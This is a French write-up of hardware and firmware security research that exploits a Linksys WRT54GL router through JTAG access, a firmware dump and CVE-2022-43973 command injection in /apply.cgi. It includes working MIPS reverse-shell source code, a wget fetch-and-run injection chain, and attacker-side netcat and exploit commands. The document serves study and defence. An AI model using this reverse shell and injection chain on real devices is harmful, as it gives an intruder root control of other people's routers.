
Du Solder au Shell : Exploitation complète du matériel du routeur Linksys WRT54GL (CVE-2022-43973)
Un parcours de recherche en sécurité embarquée en 10 phases — de la découverte des broches JTAG à l'exécution de code à distance sur un routeur grand public basé sur MIPS.
| Auteur | Umberto Della Monica |
| Rôle | Étudiant MSc en Cybersécurité — Chercheur en Sécurité Embarquée |
| Date | Mai 2026 |
| Dépôt | Linksys-WRT54GL-Exploitation |
Avertissement : Cette recherche a été menée à des fins éducatives et de recherche uniquement sur du matériel que je possède personnellement. Aucun système non autorisé n'a été accédé. Toutes les techniques décrites ici ne doivent être reproduites que sur des appareils que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive des informations présentées. Respectez toujours les lois, réglementations et pratiques de divulgation responsable applicables.
Le Linksys WRT54GL est l'un des routeurs grand public les plus emblématiques jamais produits. Son support du firmware open source en a fait un favori des passionnés et des chercheurs. Malgré son âge, il reste largement utilisé dans le monde, ce qui en fait une cible pertinente pour la recherche en sécurité embarquée.
La première étape de toute évaluation de sécurité matérielle est l'inspection physique. Après avoir ouvert le boîtier de l'appareil, j'ai identifié deux interfaces de débogage sur le circuit imprimé :
Comme le connecteur JTAG n'était pas soudé, j'ai soudé un connecteur broche temporaire pour accéder à l'interface de débogage. À l'aide d'un multimètre, j'ai identifié les lignes de masse et Vcc et confirmé que la cible fonctionne à des niveaux logiques 3,3V — crucial pour éviter d'endommager le chipset.
Pour cartographier les signaux JTAG, j'ai utilisé un JTAGulator de Grand Idea Studio — un outil matériel conçu pour identifier automatiquement les interfaces de débogage en testant toutes les combinaisons de broches possibles.
Le JTAGulator a identifié avec succès le brochage JTAG suivant :
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — vérifié logique 3,3V."
Une fois les broches JTAG identifiées, j'ai connecté un Attify Badge — un outil open source d'évaluation de sécurité matérielle (GNU GPL v3.0) équipé d'une puce FTDI FT2232H — au connecteur JTAG du routeur.
J'ai lancé OpenOCD (Open On-Chip Debugger) avec une configuration personnalisée adaptée à la cible BCM5352, car les configurations officielles étaient incompatibles avec cette révision matérielle spécifique.
La configuration OpenOCD personnalisée définit la disposition des partitions flash du routeur :
Après avoir arrêté le CPU, j'ai effectué un vidage complet de 4 Mo de la flash NOR mappée en mémoire :
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
À l'aide de binwalk, j'ai analysé le vidage du firmware pour identifier les systèmes de fichiers intégrés, les segments compressés et l'image du noyau :
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # analyse d'entropie
sha256sum ./dumps/wrt54gl.bin # vérification d'intégrité
L'analyse a révélé un système de fichiers racine SquashFS contenant un environnement Linux standard basé sur BusyBox. Je l'ai extrait à l'aide de binwalk -e et unsquashfs pour une inspection plus approfondie.
Pour créer un environnement de test sûr, j'ai configuré l'émulation du firmware à l'aide de FirmAE — un framework d'émulation de firmware automatisé qui prend en charge les architectures MIPS. Cela m'a permis de reproduire les services du routeur (HTTP, telnet) dans un environnement virtuel et de tester les exploits sans risque pour l'appareil physique.
À l'aide de Ghidra (framework de rétro-ingénierie de la NSA) avec le plugin de décompilation MIPS, j'ai effectué une analyse statique sur les binaires du firmware extraits pour confirmer la présence de CVE-2022-43973.
La vulnérabilité existe dans le gestionnaire de requêtes CGI du routeur. Le champ de formulaire ui_language dans le point de terminaison /apply.cgi accepte une entrée arbitraire sans nettoyage. En injectant des commandes shell encapsulées dans la syntaxe ;cmd;, un attaquant peut préparer des commandes qui sont ensuite exécutées lorsqu'une mise à jour du firmware est déclenchée via /upgrade.cgi.
Versions de firmware affectées :
J'ai développé un shell inversé personnalisé en C, spécialement conçu pour l'architecture MIPS du routeur. La charge utile établit une connexion TCP de retour vers l'attaquant, redirige tous les descripteurs de fichier standard vers la socket et lance un shell interactif :
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // rediriger stdin
dup2(sockt, 1); // rediriger stdout
dup2(sockt, 2); // rediriger stderr
execve("/bin/sh", sh_argv, NULL);
Pour compiler la charge utile pour l'architecture cible, j'ai construit un environnement Docker reproductible contenant la chaîne de compilation croisée Broadcom MIPS (hndtools-mipsel-linux-3.2.3), provenant de la version officielle GPL de Linksys (WRT54GL-ETSI_v4.30.18.006) :
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# Dans le conteneur :
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
Le binaire résultant est statiquement lié pour la portabilité — aucune dépendance de bibliothèque partagée sur la cible.
J'ai développé un framework d'exploit Python qui automatise toute la chaîne d'attaque en exploitant CVE-2022-43973. L'exploit exécute une séquence en 4 étapes, chacune injectée en tant que commande via le paramètre ui_language :
wget pour télécharger le binaire du shell inversé MIPS depuis le serveur HTTP de l'attaquant vers /tmp/X sur le routeurchmod +x /tmp/X pour rendre le binaire exécutable/tmp/X <ip_attaquant> <port> pour lancer le shell inverséui_language à sa valeur par défaut (en)Chaque commande est encapsulée sous la forme ;cmd; dans le champ ui_language et envoyée via POST /apply.cgi. Un POST /upgrade.cgi ultérieur déclenche l'exécution.
Sur la machine de l'attaquant, trois terminaux sont nécessaires :
# Terminal 1 : Servir le binaire du shell inversé
python -m http.server 8000
# Terminal 2 : Écouter le shell inversé entrant
nc -lvnp 4141
# Terminal 3 : Lancer l'exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
--attacker-host 192.168.1.2 --attacker-http-port 8000 \
--attacker-handler-port 4141
Le shell inversé se connecte au listener Netcat de l'attaquant, fournissant un shell root interactif sur le routeur.
Pour valider la chaîne d'exploitation complète, j'ai capturé le trafic réseau avec Wireshark pendant l'attaque. L'analyse a confirmé :
/apply.cgi et /upgrade.cgiwget depuis le serveur HTTP de l'attaquantL'accès physique est un vecteur d'attaque puissant. JTAG fournit un accès matériel au niveau root qui contourne tous les mécanismes de sécurité logicielle. Les organisations déployant des appareils embarqués devraient envisager des contrôles de sécurité physique et désactiver les interfaces de débogage dans le firmware de production.
L'extraction du firmware est fondamentale. Vider et analyser le firmware révèle l'ensemble de la pile logicielle — y compris les identifiants codés en dur, les données de configuration et les chemins de code vulnérables qui sont invisibles d'une perspective purement réseau.
L'émulation permet une recherche sûre et reproductible. Des outils comme FirmAE permettent aux chercheurs de reproduire le comportement d'un appareil dans un environnement virtuel, permettant des tests itératifs sans risquer le matériel physique ni déclencher de conséquences imprévues.
Des échecs simples de validation d'entrée ont un impact critique. CVE-2022-43973 démontre comment un seul champ de formulaire non nettoyé dans une interface web peut conduire à une compromission complète de l'appareil avec accès root. La défense en profondeur — validation des entrées, moindre privilège et pratiques de codage sécurisé — reste essentielle.
Les chaînes d'outils reproductibles sont importantes. Les environnements de compilation croisée basés sur Docker garantissent que les charges utiles et les outils peuvent être reconstruits de manière fiable, rendant les résultats de recherche vérifiables et partageables.
Les appareils hérités représentent un risque continu. Le WRT54GL reste en usage actif dans le monde entier. Les appareils en fin de vie qui ne reçoivent plus de mises à jour de sécurité constituent une menace persistante pour la sécurité du réseau.
Pour des détails techniques approfondis, consultez les documents suivants :
| Document | Description |
|---|---|
| Inventaire Matériel |
Ce projet est sous licence MIT — voir le fichier LICENSE pour plus de détails.
Si vous reproduisez des schémas Attify ou JTAGulator, respectez leurs licences respectives (GNU GPL v3.0 pour les composants Attify).
Umberto Della Monica
LinkedIn
#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec
| Spécification | Valeur |
|---|
| Chipset | Broadcom BCM5352 |
| Fréquence CPU | 200 MHz |
| Architecture | MIPS 32 bits (Little Endian) |
| Mémoire Flash | 4 Mo NOR (mappée en mémoire à 0xbfc00000) |
| RAM | 16 Mo |
| Sans fil | IEEE 802.11b/g, 54 Mbps |
| Réseau | 4x LAN + 1x WAN, pare-feu NAT avec SPI |
| OS | Linux (BusyBox) |
| Bootloader | CFE (Common Firmware Environment) |
| Partition | Description | Adresse de début | Taille |
|---|
| CFE | Bootloader | 0xbfc00000 | 256 Ko |
| Firmware | Noyau + Système de fichiers racine | 0xbfc40000 | ~3,7 Mo |
| NVRAM | Configuration | 0xbfff0000 | 64 Ko |
| Champ | Valeur |
|---|
| ID CVE | CVE-2022-43973 |
| Type | Exécution de Code à Distance (RCE) |
| Vecteur d'attaque | Requête HTTP authentifiée |
| Cause racine | Injection de commandes via le paramètre ui_language non nettoyé |
| Point de terminaison | POST /apply.cgi |
| Déclencheur | POST /upgrade.cgi (mise à jour du firmware) |
| Impact | Exécution complète de commandes au niveau root |
| Catégorie | Outil | Objectif | Référence |
|---|
| Matériel | Attify Badge | Adaptateur d'interface JTAG/UART | docs.attify.com (GNU GPL v3.0) |
| Matériel | JTAGulator | Découverte automatisée des broches de débogage | Grand Idea Studio |
| Logiciel | OpenOCD | Débogage JTAG et accès à la flash | openocd.org |
| Logiciel | Ghidra | Analyse statique et décompilation | ghidra-sre.org (NSA) |
| Logiciel | binwalk | Analyse et extraction du firmware | ReFirmLabs |
| Logiciel | FirmAE | Émulation de firmware (MIPS) | GitHub |
| Logiciel | Firmadyne | Analyse dynamique du firmware | GitHub |
| Logiciel | Docker | Environnement de construction reproductible | docker.com |
| Chaîne d'outils | hndtools-mipsel-linux | Compilateur croisé Broadcom MIPS | Version GPL Linksys |
| Logiciel | Python 3 | Framework d'automatisation d'exploit | python.org |
| Logiciel | Wireshark | Analyse du trafic réseau | wireshark.org |
| Norme | IEEE 1149.1 | Norme de balayage de limite JTAG | IEEE |
| Spécifications de l'appareil, brochages, fiches techniques et outils matériels |
| Pile Logicielle | Configuration Docker, configuration OpenOCD, détails de la chaîne d'outils et dépannage |
| Procédure d'Exploitation | Workflow détaillé en 10 phases avec commandes et captures d'écran |